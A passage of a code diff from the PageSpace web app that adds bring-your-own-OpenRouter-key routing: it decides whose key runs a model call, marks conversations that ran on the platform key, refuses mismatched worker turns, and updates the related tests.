call stops with a message.** It never quietly switches to PageSpace's key. Usage on your key is capped at 1,200 calls an hour. For safety, create a separate OpenRouter key with a credit limit. - Removing the key in Settings takes it out of PageSpace. It keeps working at OpenRouter until you revoke it there. diff --git a/apps/web/src/app/api/internal/agent-dispatch/__tests__/route.test.ts b/apps/web/src/app/api/internal/agent-dispatch/__tests__/route.test.ts index abe6e42919..b0df8a5ae9 100644 --- a/apps/web/src/app/api/internal/agent-dispatch/__tests__/route.test.ts +++ b/apps/web/src/app/api/internal/agent-dispatch/__tests__/route.test.ts @@ -136,6 +136,12 @@ describe('POST /api/internal/agent-dispatch', () => { expect(loadServicePrincipalMock).toHaveBeenCalledWith(expect.objectContaining({ authentication: null })); }); + it('BYOK (ADR 0009) hands the worker\'s turn the key the dispatching run was on, from the signed payload; none when the signer named none', async () => { + await POST(signed({ ...PAYLOAD, callerKeySource: 'managed' })); + await POST(signed()); + expect([dispatchChatTurnMock.mock.calls[0][0].callerKeySource, dispatchChatTurnMock.mock.calls[1][0].callerKeySource]).toEqual(['managed', undefined]); + }); + it('runs the turn as the user named in the signed payload', async () => { await POST(signed()); diff --git a/apps/web/src/app/api/internal/agent-dispatch/route.ts b/apps/web/src/app/api/internal/agent-dispatch/route.ts index 59744a6bde..f7f88137d7 100644 --- a/apps/web/src/app/api/internal/agent-dispatch/route.ts +++ b/apps/web/src/app/api/internal/agent-dispatch/route.ts @@ -199,5 +199,7 @@ export async function POST(request: Request) { // The page surface's strategy selection is the one that resolves a global // conversation from its id — the same path dispatch has always targeted. surface: 'page-chat', + // BYOK (ADR 0009): signed, so a worker keeps the key the dispatching run was on. + ...(payload.callerKeySource ? { callerKeySource: payload.callerKeySource } : {}), }); } diff --git a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts index f675603857..6185e78bda 100644 --- a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts @@ -36,7 +36,7 @@ import { UNGATED_TURN_CREDIT, personalTurnTiers, turnCreditAfterGate, type TurnC import { writeTurnPreamble } from './turn-preamble'; import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults'; import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from '@/lib/ai/core/model-key-source'; -import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; +import { createByokKeyMismatchResponse, createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; import { creditGateErrorResponse } from '@/lib/subscription/credit-gate-response'; @@ -140,6 +140,12 @@ export interface GlobalChatTurnContext { urlConversationId?: string; /** Time-to-first-token instrumentation, started when the request arrived. */ timer: TurnTimer; + /** + * BYOK (ADR 0009): set on a dispatched worker's turn — the key its dispatching model run was on. On PageSpace's key + * the turn stays there (the message may carry an org's content); on the person's key it must run there too, or it + * is refused (its answer goes back to that run). + */ + callerKeySource?: 'managed' | 'user_key'; } @@ -443,8 +449,11 @@ export async function runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise; surface: ChatTurnSurface; urlConversationId?: string; + /** BYOK (ADR 0009): a dispatched worker's turn keeps the key its dispatching run was on. */ + callerKeySource?: 'managed' | 'user_key'; /** * The timer `handleChatTurn` armed at request entry, so TTFT and the watchdog cover * auth and body parse. A caller that authenticated by other means passes none. @@ -294,7 +297,7 @@ export async function dispatchChatTurn({ if (!entryTimer) timer.mark('authenticated'); timer.annotate({ surface, userId: auth.userId }); return endTurnAfter(timer, () => - selectAndRunTurn({ request, auth, browserSessionId, body, surface, urlConversationId, timer }), + selectAndRunTurn({ request, auth, browserSessionId, body, surface, urlConversationId, timer, callerKeySource }), ); } @@ -306,6 +309,7 @@ async function selectAndRunTurn({ surface, urlConversationId, timer, + callerKeySource, }: { request: Request; auth: AuthResult; @@ -314,6 +318,7 @@ async function selectAndRunTurn({ surface: ChatTurnSurface; urlConversationId?: string; timer: TurnTimer; + callerKeySource?: 'managed' | 'user_key'; }): Promise { const isPageSurface = surface === 'page-chat'; @@ -326,6 +331,7 @@ async function selectAndRunTurn({ body, urlConversationId, timer, + callerKeySource, }); } @@ -403,13 +409,14 @@ async function selectAndRunTurn({ // and it is the one that just resolved. urlConversationId: undefined, timer, + callerKeySource, }); } } } timer.annotate({ strategy: 'page' }); - return runPageChatTurn({ request, auth, browserSessionId, body, timer }); + return runPageChatTurn({ request, auth, browserSessionId, body, timer, callerKeySource }); } /** diff --git a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts index 68f0b43bf2..6350116db7 100644 --- a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts @@ -46,7 +46,7 @@ import { MAX_CHAT_INFLIGHT } from '@pagespace/lib/billing/credit-pricing'; import { canConsumeAI } from '@pagespace/lib/billing/credit-gate'; import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults'; import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from '@/lib/ai/core/model-key-source'; -import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; +import { createByokKeyMismatchResponse, createByokUnavailableResponse } from '@/lib/ai/core/byok-responses'; import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing'; import { makeOnStepFinishHandler } from '@/lib/ai/core/step-finish-handler'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; @@ -190,6 +190,12 @@ export interface PageChatTurnContext { body: unknown; /** Time-to-first-token instrumentation, started when the request arrived. */ timer: TurnTimer; + /** + * BYOK (ADR 0009): set on a dispatched worker's turn — the key its dispatching model run was on. On PageSpace's key + * the turn stays there (the message may carry an org's content); on the person's key it must run there too, or it + * is refused (its answer goes back to that run). + */ + callerKeySource?: 'managed' | 'user_key'; } @@ -813,10 +819,11 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise ({ +const { mockIsFeatureEnabled, mockListForUser, mockSelect, mockInsert, mockIsOnPrem, mockPlaneConfigured } = vi.hoisted(() => ({ + mockInsert: vi.fn(), mockIsFeatureEnabled: vi.fn(), mockListForUser: vi.fn(), mockSelect: vi.fn(), @@ -8,11 +9,13 @@ const { mockIsFeatureEnabled, mockListForUser, mockSelect, mockIsOnPrem, mockPla mockPlaneConfigured: vi.fn(() => true), })); -vi.mock('@pagespace/db/db', () => ({ db: { select: mockSelect } })); +vi.mock('@pagespace/db/db', () => ({ db: { select: mockSelect, insert: mockInsert } })); const mockNe = vi.hoisted(() => vi.fn()); vi.mock('@pagespace/db/operators', () => ({ and: vi.fn(), eq: vi.fn(), inArray: vi.fn(), ne: mockNe })); vi.mock('@pagespace/db/schema/core', () => ({ drives: { id: 'id', orgId: 'orgId', ownerId: 'ownerId' } })); vi.mock('@pagespace/db/schema/monitoring', () => ({ aiUsageLogs: { id: 'id', conversationId: 'conversationId', keySource: 'keySource' } })); +vi.mock('@pagespace/db/schema/model-key-history', () => ({ modelKeyManagedConversations: { conversationId: 'conversationId', userId: 'userId' } })); +vi.mock('@pagespace/lib/logging/logger-config', () => ({ loggers: { ai: { warn: vi.fn() } } })); vi.mock('@pagespace/lib/deployment-mode', () => ({ isOnPrem: mockIsOnPrem })); vi.mock('@pagespace/lib/permissions/drive-relationship', () => ({ isDriveLead: (userId: string, drive: { ownerId: string | null }) => drive.ownerId === userId })); vi.mock('@pagespace/lib/feature-flags/feature-flag-repository', () => ({ isFeatureEnabled: mockIsFeatureEnabled })); @@ -20,7 +23,7 @@ vi.mock('@pagespace/lib/agent-accounts/agent-account-repository', () => ({ creat vi.mock('@pagespace/lib/agent-accounts/inference/model-key', () => ({ isModelKeyAccount: (row: { slug: string }) => row.slug === 'openrouter-model-key' })); vi.mock('@/lib/agent-accounts/agent-accounts-config', () => ({ isAgentAccountsConfigured: mockPlaneConfigured })); -import { decideModelKeySource, isBilledKeySource, resolveModelKeySource } from '../model-key-source'; +import { decideModelKeySource, isBilledKeySource, markManagedConversation, resolveModelKeySource } from '../model-key-source'; const base = { onPrem: false, @@ -44,15 +47,15 @@ describe('decideModelKeySource', () => { }); it('given a call an org governs (its drive or its content), should use PageSpace\'s key, never the person\'s', () => { - expect(decideModelKeySource({ ...base, orgGoverned: true })).toEqual({ source: 'managed' }); + expect(decideModelKeySource({ ...base, orgGoverned: true })).toEqual({ source: 'managed', byokActive: true }); }); it('given a call in a drive someone else owns, whose wallet may pay, should use PageSpace\'s key (a key is only ever the funder\'s)', () => { - expect(decideModelKeySource({ ...base, fundedByAnother: true })).toEqual({ source: 'managed' }); + expect(decideModelKeySource({ ...base, fundedByAnother: true })).toEqual({ source: 'managed', byokActive: true }); }); it('given a conversation that already ran on PageSpace\'s key, should stay there: its history may hold an org\'s content', () => { - expect(decideModelKeySource({ ...base, conversationOnManagedKey: true })).toEqual({ source: 'managed' }); + expect(decideModelKeySource({ ...base, conversationOnManagedKey: true })).toEqual({ source: 'managed', byokActive: true }); }); it('given a call that would use the person\'s key but no credential plane, should refuse rather than run on PageSpace\'s key', () => { @@ -76,11 +79,11 @@ describe('isBilledKeySource', () => { }); /** db.select().from().where() resolves to the drive rows; .limit() on it resolves to the usage rows. */ -function readsReturn({ drives = [], usage = [] }: { drives?: Array<{ id: string; orgId: string | null; ownerId: string }>; usage?: Array<{ id: string }> }) { +function readsReturn({ drives = [], usage = [], marks = [] }: { drives?: Array<{ id: string; orgId: string | null; ownerId: string }>; usage?: Array<{ id: string }>; marks?: Array<{ conversationId: string }> }) { mockSelect.mockImplementation((columns: Record) => ({ from: () => ({ where: () => { - const rows = 'ownerId' in columns ? drives : usage; + const rows = 'ownerId' in columns ? drives : 'conversationId' in columns ? marks : usage; return Object.assign(Promise.resolve(rows), { limit: async () => rows }); }, }), @@ -104,16 +107,16 @@ describe('resolveModelKeySource', () => { it('given a call in a personal drive another person owns, should use PageSpace\'s key', async () => { readsReturn({ drives: [{ id: 'd1', orgId: null, ownerId: 'u2' }] }); - expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1' })).toEqual({ source: 'managed' }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1' })).toEqual({ source: 'managed', byokActive: true }); }); it('given a content drive an org owns, should use PageSpace\'s key whoever owns the call\'s drive', async () => { readsReturn({ drives: [{ id: 'd1', orgId: null, ownerId: 'u1' }, { id: 'org-drive', orgId: 'org1', ownerId: 'u3' }] }); - expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1', contentDriveIds: ['org-drive'] })).toEqual({ source: 'managed' }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1', contentDriveIds: ['org-drive'] })).toEqual({ source: 'managed', byokActive: true }); }); it('given org-derived content (memory distilled from an org), should use PageSpace\'s key', async () => { - expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, contentOrgIds: ['org1'] })).toEqual({ source: 'managed' }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, contentOrgIds: ['org1'] })).toEqual({ source: 'managed', byokActive: true }); }); it('given a conversation with a call on PageSpace\'s key, should keep it there; with none, should use the person\'s key', async () => { @@ -125,6 +128,11 @@ describe('resolveModelKeySource', () => { expect([withManaged.source, withoutManaged.source, mockNe.mock.calls[0]]).toEqual(['managed', 'user_key', ['keySource', 'user_key']]); }); + it('given a conversation marked as run on PageSpace\'s key (before its usage row exists), should keep it there', async () => { + readsReturn({ marks: [{ conversationId: 'c1' }], usage: [] }); + expect((await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, conversationId: 'c1' })).source).toBe('managed'); + }); + it('given a flag lookup that fails, for a person with a key, should refuse; for one without, should use PageSpace\'s key', async () => { mockIsFeatureEnabled.mockRejectedValue(new Error('db down')); const withKey = await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null }); @@ -145,3 +153,30 @@ describe('resolveModelKeySource', () => { expect([decision.source, mockListForUser.mock.calls.length, mockSelect.mock.calls.length]).toEqual(['managed', 0, 0]); }); }); + +describe('markManagedConversation', () => { + const values = vi.fn(() => ({ onConflictDoNothing: async () => undefined })); + beforeEach(() => { + vi.clearAllMocks(); + mockInsert.mockReturnValue({ values }); + mockIsFeatureEnabled.mockResolvedValue(true); + mockListForUser.mockResolvedValue([{ slug: 'openrouter-model-key', ownerKind: 'user', status: 'active', credentialVersion: 1 }]); + }); + + it('given a person with their own key switched on, should mark the conversation before the managed call runs', async () => { + await markManagedConversation({ userId: 'u1', conversationId: 'c1' }); + expect(values.mock.calls).toEqual([[{ conversationId: 'c1', userId: 'u1' }]]); + }); + + it('given a decision that read no own key, or no conversation, should write nothing and read nothing', async () => { + await markManagedConversation({ userId: 'u1', conversationId: 'c1', byokActive: false }); + await markManagedConversation({ userId: 'u1', conversationId: null }); + expect([values.mock.calls.length, mockIsFeatureEnabled.mock.calls.length]).toEqual([0, 0]); + }); + + it('given the flag off for the person, should write nothing', async () => { + mockIsFeatureEnabled.mockResolvedValue(false); + await markManagedConversation({ userId: 'u1', conversationId: 'c1' }); + expect(values.mock.calls.length).toBe(0); + }); +}); diff --git a/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts b/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts index 668b9a2953..201654db94 100644 --- a/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts @@ -65,7 +65,8 @@ vi.mock('@pagespace/lib/organizations/policy-reader', () => ({ getDrivePolicies, // BYOK (ADR 0009): whose key runs is decided in model-key-source (tested there); here it is PageSpace's unless a test says. const resolveModelKeySource = vi.hoisted(() => vi.fn(async (_scope: unknown) => ({ source: 'managed' as const }))); -vi.mock('../model-key-source', () => ({ resolveModelKeySource })); +const markManagedConversation = vi.hoisted(() => vi.fn(async (_input: unknown) => undefined)); +vi.mock('../model-key-source', () => ({ resolveModelKeySource, markManagedConversation })); vi.mock('@/lib/agent-accounts/account-authority-client', () => ({ getAccountAuthority: vi.fn(() => null) })); import { DEFAULT_ORG_POLICIES } from '@pagespace/lib/organizations/policies-core'; @@ -588,6 +589,17 @@ describe('provider-factory', () => { expect(isProviderError(result) ? result.status : 'built').toBe(409); }); + it('given a call on PageSpace\'s key in a conversation, should mark the conversation before the model is built (I10)', async () => { + process.env.OPENROUTER_DEFAULT_API_KEY = 'or-key'; + await createAIProvider('user-123', { selectedProvider: 'anthropic', selectedModel: 'anthropic/claude-sonnet-4.6' }, { + user: { currentAiProvider: 'anthropic', currentAiModel: 'anthropic/claude-sonnet-4.6' }, + driveId: null, + keySource: { source: 'managed', byokActive: true }, + modelCall: { conversationId: 'conv-1' }, + }); + expect(markManagedConversation.mock.calls.at(-1)?.[0]).toEqual({ userId: 'user-123', conversationId: 'conv-1', byokActive: true }); + }); + it('given content that only the key decision counts, should decide on it with the conversation, without POL-8 judging it', async () => { process.env.OPENROUTER_DEFAULT_API_KEY = 'or-key'; await createAIProvider('user-123', { selectedProvider: 'anthropic', selectedModel: 'anthropic/claude-sonnet-4.6' }, { diff --git a/apps/web/src/lib/ai/core/byok-responses.ts b/apps/web/src/lib/ai/core/byok-responses.ts index 08fc3bc22b..ef1bd6abcb 100644 --- a/apps/web/src/lib/ai/core/byok-responses.ts +++ b/apps/web/src/lib/ai/core/byok-responses.ts @@ -9,3 +9,14 @@ export const BYOK_UNAVAILABLE_MESSAGE = 'Your own OpenRouter key is switched on, export function createByokUnavailableResponse(): NextResponse { return NextResponse.json({ error: BYOK_UNAVAILABLE_MESSAGE, code: 'byok_unavailable' }, { status: 503 }); } + +export const BYOK_KEY_MISMATCH_MESSAGE = + 'This agent runs on PageSpace\'s key here (an organization governs its content, its conversation already used PageSpace\'s key, or its model is not on OpenRouter), so it cannot answer a conversation that runs on your own OpenRouter key.'; + +/** + * A dispatched worker's turn that would run on PageSpace's key while the run that dispatched it is on the person's + * own key (ADR 0009 I6): refused, because its answer goes back to that run and may carry an org's content. + */ +export function createByokKeyMismatchResponse(): NextResponse { + return NextResponse.json({ error: BYOK_KEY_MISMATCH_MESSAGE, code: 'byok_key_mismatch' }, { status: 409 }); +} diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts index 9e4da845fe..f8e404651c 100644 --- a/apps/web/src/lib/ai/core/model-key-source.ts +++ b/apps/web/src/lib/ai/core/model-key-source.ts @@ -30,6 +30,8 @@ import { db } from '@pagespace/db/db'; import { and, eq, inArray, ne } from '@pagespace/db/operators'; import { drives } from '@pagespace/db/schema/core'; import { aiUsageLogs } from '@pagespace/db/schema/monitoring'; +import { modelKeyManagedConversations } from '@pagespace/db/schema/model-key-history'; +import { loggers } from '@pagespace/lib/logging/logger-config'; import { isOnPrem } from '@pagespace/lib/deployment-mode'; import { isDriveLead } from '@pagespace/lib/permissions/drive-relationship'; import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository'; @@ -40,9 +42,18 @@ import { getBackendProvider } from './provider-backend'; export type ModelKeySource = 'managed' | 'user_key'; -export type ModelKeyDecision = { readonly source: ModelKeySource } | { readonly source: 'refused'; readonly reason: 'byok_unavailable' }; +export type ModelKeyDecision = + | { readonly source: 'user_key' } + /** + * `byokActive`: whether the person has their own key switched on — then a managed call in a conversation is marked + * (I10), since that conversation could otherwise move to their key later. Absent when the decision did not read it. + */ + | { readonly source: 'managed'; readonly byokActive?: boolean } + | { readonly source: 'refused'; readonly reason: 'byok_unavailable' }; const MANAGED: ModelKeyDecision = Object.freeze({ source: 'managed' }); +const MANAGED_NO_OWN_KEY: ModelKeyDecision = Object.freeze({ source: 'managed', byokActive: false }); +const MANAGED_OWN_KEY: ModelKeyDecision = Object.freeze({ source: 'managed', byokActive: true }); const REFUSED: ModelKeyDecision = Object.freeze({ source: 'refused', reason: 'byok_unavailable' }); export type ModelKeyFacts = { @@ -63,9 +74,9 @@ export type ModelKeyFacts = { }; export function decideModelKeySource(facts: ModelKeyFacts): ModelKeyDecision { - if (facts.onPrem || facts.backend !== 'openrouter') return MANAGED; - if (facts.flagEnabled === false || !facts.hasModelKey) return MANAGED; - if (facts.orgGoverned || facts.fundedByAnother || facts.conversationOnManagedKey) return MANAGED; + if (facts.onPrem) return MANAGED_NO_OWN_KEY; + if (facts.flagEnabled === false || !facts.hasModelKey) return MANAGED_NO_OWN_KEY; + if (facts.backend !== 'openrouter' || facts.orgGoverned || facts.fundedByAnother || facts.conversationOnManagedKey) return MANAGED_OWN_KEY; if (facts.flagEnabled === null || !facts.planeConfigured) return REFUSED; return { source: 'user_key' }; } @@ -100,8 +111,19 @@ async function hasActiveModelKey(userId: string): Promise { return rows.some((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0); } -async function conversationHasManagedCall(conversationId: string | null | undefined): Promise { +/** + * Whether a conversation ever ran on PageSpace's key (I10): marked before its managed call ran (written by the + * provider factory for a person with their own key switched on), or — for a conversation older than the mark, or a + * person who had no key then — a managed call in its usage log. + */ +export async function conversationRanOnManagedKey(conversationId: string | null | undefined): Promise { if (typeof conversationId !== 'string' || conversationId.length === 0) return false; + const [marked] = await db + .select({ conversationId: modelKeyManagedConversations.conversationId }) + .from(modelKeyManagedConversations) + .where(eq(modelKeyManagedConversations.conversationId, conversationId)) + .limit(1); + if (marked !== undefined) return true; const [row] = await db .select({ id: aiUsageLogs.id }) .from(aiUsageLogs) @@ -110,13 +132,39 @@ async function conversationHasManagedCall(conversationId: string | null | undefi return row !== undefined; } +/** + * Mark a conversation as having run on PageSpace's key, BEFORE that call runs, so the mark is durable before any + * content it protects is saved (a side question, a later turn, a compaction read it). Only for a person with their + * own key switched on: nobody else's conversation can move to a personal key. `byokActive` from the decision spares + * the lookup; absent, it is read here. A failed write is logged, and the call still runs: the usage log remains the + * record, so only a failure of both would leave the conversation unmarked. + */ +export async function markManagedConversation(input: { + readonly userId: string; + readonly conversationId: string | null | undefined; + readonly byokActive?: boolean; +}): Promise { + const { userId, conversationId } = input; + if (typeof conversationId !== 'string' || conversationId.length === 0 || input.byokActive === false) return; + try { + const active = input.byokActive ?? ((await readFlag(userId)) !== false && (await hasActiveModelKey(userId))); + if (!active) return; + await db.insert(modelKeyManagedConversations).values({ conversationId, userId }).onConflictDoNothing(); + } catch (error) { + loggers.ai.warn('BYOK: could not mark a conversation as run on PageSpace\'s key', { conversationId, error: error instanceof Error ? error.message : String(error) }); + } +} + /** Read the facts and decide. Cheap when the flag is off (one indexed read, no account lookup). */ export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise { const onPrem = isOnPrem(); const backend = getBackendProvider(scope.provider); - if (onPrem || backend !== 'openrouter') return MANAGED; + if (onPrem) return MANAGED_NO_OWN_KEY; + // Not OpenRouter: never the person's key, and not worth a read to learn whether they have one (`markManagedConversation` + // reads it when it matters). + if (backend !== 'openrouter') return MANAGED; const flagEnabled = await readFlag(scope.userId); - if (flagEnabled === false) return MANAGED; + if (flagEnabled === false) return MANAGED_NO_OWN_KEY; let hasModelKey: boolean; try { hasModelKey = await hasActiveModelKey(scope.userId); @@ -126,7 +174,7 @@ export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise drive.id === scope.driveId) : undefined; const fundedByAnother = typeof scope.driveId === 'string' && scope.driveId.length > 0 && !(callDrive && isDriveLead(scope.userId, callDrive)); - const conversationOnManagedKey = orgGoverned || fundedByAnother ? false : await conversationHasManagedCall(scope.conversationId); + const conversationOnManagedKey = orgGoverned || fundedByAnother ? false : await conversationRanOnManagedKey(scope.conversationId); return decideModelKeySource({ onPrem, backend, flagEnabled, hasModelKey, orgGoverned, fundedByAnother, conversationOnManagedKey, planeConfigured: isAgentAccountsConfigured() }); } diff --git a/apps/web/src/lib/ai/core/provider-factory.ts b/apps/web/src/lib/ai/core/provider-factory.ts index 866ec11621..6eac6c1603 100644 --- a/apps/web/src/lib/ai/core/provider-factory.ts +++ b/apps/web/src/lib/ai/core/provider-factory.ts @@ -22,7 +22,7 @@ import { getDrivePolicies, getOrgPolicies } from '@pagespace/lib/organizations/p import { modelDecision } from '@pagespace/lib/organizations/org-action-decisions'; import { randomUUID } from 'node:crypto'; import { getManagedProviderKey } from './ai-utils'; -import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from './model-key-source'; +import { markManagedConversation, resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from './model-key-source'; import { createPlaneInferenceFetch } from './plane-inference-fetch'; import { BYOK_UNAVAILABLE_MESSAGE } from './byok-responses'; import { getBackendProvider } from './provider-backend'; @@ -216,6 +216,10 @@ export async function createAIProvider( conversationId: options.modelCall?.conversationId ?? null, })); if (keyDecision.source === 'refused') return byokUnavailable(); + // I10: a managed call marks its conversation BEFORE it runs, so no content it produces is ever saved unmarked. + if (keyDecision.source === 'managed') { + await markManagedConversation({ userId, conversationId: options.modelCall?.conversationId, byokActive: keyDecision.byokActive }); + } // A gate that decided on the person's key decided it for OpenRouter. Should the pair that runs not be OpenRouter // (the saved selection changed between the two reads), that decision does not hold: a call on PageSpace's key // must never be recorded as the person's (it would be neither held nor charged), so it is refused, not run. diff --git a/apps/web/src/lib/ai/core/types.ts b/apps/web/src/lib/ai/core/types.ts index 2b48d4ef99..e43464d2a7 100644 --- a/apps/web/src/lib/ai/core/types.ts +++ b/apps/web/src/lib/ai/core/types.ts @@ -28,6 +28,9 @@ export interface ToolExecutionContext { // BYOK (ADR 0009 I6): the run is on the person's own OpenRouter key, so its tools may not read any org's drive // (actor-permissions.ts). Set with the pair by toolModelContext(); absent = PageSpace's key. modelKeySource?: 'managed' | 'user_key'; + // BYOK: for a run a PERSON triggered whose gate already decided the key (a channel mention's credit hold) — no model + // run is the caller, so `modelKeySource` is absent. A consult it starts keeps that decision (agent-communication-tools). + gatedKeySource?: 'managed' | 'user_key'; locationContext?: { currentPage?: { id: string; diff --git a/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts index ab1cff77e8..d3dfb0bddb 100644 --- a/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts @@ -195,7 +195,8 @@ vi.mock('@/lib/ai/core/user-credit-hold', () => ({ gateUserCall: mockGateUserCal const mockReleaseHold = vi.hoisted(() => vi.fn().mockResolvedValue(undefined)); vi.mock('@pagespace/lib/billing/credit-consume', () => ({ releaseHold: mockReleaseHold })); -import { agentCommunicationTools, executeAskAgent, CONSULT_NEEDS_PAGESPACE_KEY } from '../agent-communication-tools'; +import { agentCommunicationTools, executeAskAgent } from '../agent-communication-tools'; +import { BYOK_KEY_MISMATCH_MESSAGE } from '../../core/byok-responses'; import { toolModelContext } from '../../core/tool-model-context'; import { db } from '@pagespace/db/db'; import { canActorViewPage, canActorConsultAgent, isMcpScoped, resolveActingAgentId, filterDriveIdsByAppTokenScope, filterDriveIdsByMcpScope } from '../actor-permissions'; @@ -657,7 +658,7 @@ describe('agent-communication-tools', () => { { agentPath: '/test/agent', agentId: 'agent-1', question: 'Test question' }, { toolCallId: '1', messages: [], experimental_context: { userId: 'user-123', accessActor: credentialActor('user-123', null), ...toolModelContext({ provider: 'openrouter', modelName: 'openai/gpt-5.4-nano', keySource: 'user_key' }) } as ToolExecutionContext }, ); - expect([vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource, JSON.stringify(result).includes(CONSULT_NEEDS_PAGESPACE_KEY.slice(0, 40)), vi.mocked(AIMonitoring.trackUsage).mock.calls.length]).toEqual([undefined, true, 0]); + expect([vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource, JSON.stringify(result).includes(BYOK_KEY_MISMATCH_MESSAGE.slice(0, 40)), vi.mocked(AIMonitoring.trackUsage).mock.calls.length]).toEqual([undefined, true, 0]); }); it('should set parentAgentId from calling agent location context', async () => { diff --git a/apps/web/src/lib/ai/tools/__tests__/calendar-read-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/calendar-read-tools.test.ts index 238123b94a..f236e5eb6b 100644 --- a/apps/web/src/lib/ai/tools/__tests__/calendar-read-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/calendar-read-tools.test.ts @@ -71,6 +71,10 @@ vi.mock('@pagespace/lib/services/calendar-event-drive-service', () => ({ getAllDriveIdsForEvent: vi.fn().mockResolvedValue(['drive-1']), })); +// POL-8 / BYOK: a drive's org policies. Default: no org; a test names the org drive. +const mockGetDrivePolicies = vi.hoisted(() => vi.fn(async (_driveId: string) => null as null | { orgId: string; policies: Record })); +vi.mock('@pagespace/lib/organizations/policy-reader', () => ({ getDrivePolicies: mockGetDrivePolicies })); + vi.mock('@pagespace/lib/logging/logger-config', () => ({ loggers: { ai: { @@ -552,6 +556,23 @@ describe('calendar-read-tools', () => { }); }); + it('BYOK (ADR 0009) given an org event shared into a personal drive, on a run on the person\'s own key, should refuse it: its home drive decides', async () => { + const { getAllDriveIdsForEvent } = await import('@pagespace/lib/services/calendar-event-drive-service'); + vi.mocked(getAllDriveIdsForEvent).mockResolvedValueOnce(['org-drive', 'personal-drive']); + mockGetDrivePolicies.mockImplementation(async (driveId: string) => (driveId === 'org-drive' ? { orgId: 'org-1', policies: {} } : null)); + mockDb.query.calendarEvents.findFirst = vi.fn().mockResolvedValue(createMockEvent({ driveId: 'org-drive' })); + const context = { + toolCallId: '1', + messages: [], + experimental_context: { userId: 'user-123', accessActor: credentialActor('user-123', null), aiProvider: 'openrouter', aiModel: 'openai/gpt-5.5', runsModel: true, modelKeySource: 'user_key' } as ToolExecutionContext, + }; + + const result = await calendarReadTools.get_calendar_event.execute!({ eventId: 'event-1' }, context); + + expect((result as { success: boolean }).success).toBe(false); + mockGetDrivePolicies.mockImplementation(async () => null); + }); + it('returns error when user lacks access to event', async () => { const event = createMockEvent({ createdById: 'other-user', diff --git a/apps/web/src/lib/ai/tools/__tests__/session-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/session-tools.test.ts index 92f8795fb0..cc2c377fc6 100644 --- a/apps/web/src/lib/ai/tools/__tests__/session-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/session-tools.test.ts @@ -371,6 +371,13 @@ describe('send_session', () => { ); }); + it('BYOK (ADR 0009) should carry the key the calling run is on, so the worker\'s turn keeps it', async () => { + const deps = makeDeps(); + const tools = createSessionTools(deps); + await run(tools.send_session, { sessionId: 's1', input: 'continue' }, contextOptions({ modelKeySource: 'managed' })); + expect(deps.dispatch).toHaveBeenCalledWith(expect.objectContaining({ conversationId: 's1', callerKeySource: 'managed' })); + }); + it('given a caller at the depth cap, should refuse the send too — a send IS a dispatch', async () => { const deps = makeDeps(); const tools = createSessionTools(deps); @@ -752,6 +759,16 @@ describe('read_session', () => { expect(result.messages[1].pending).toBe(true); }); + it('BYOK (ADR 0009) given a caller on the person\'s own key and a session that ran on PageSpace\'s key, should refuse the transcript; one that never did, should return it', async () => { + const ranManaged = vi.fn(async (conversationId: string) => conversationId === 's1'); + const deps = makeDeps({ conversationRanOnManagedKey: ranManaged, readTranscript: vi.fn(async () => [{ role: 'user' as const, content: 'hi', at: new Date('2026-07-28T00:00:00Z') }]) }); + const tools = createSessionTools(deps); + const refused = (await run(tools.read_session, { sessionId: 's1' }, contextOptions({ modelKeySource: 'user_key' }))) as { success: boolean }; + ranManaged.mockResolvedValue(false); + const allowed = (await 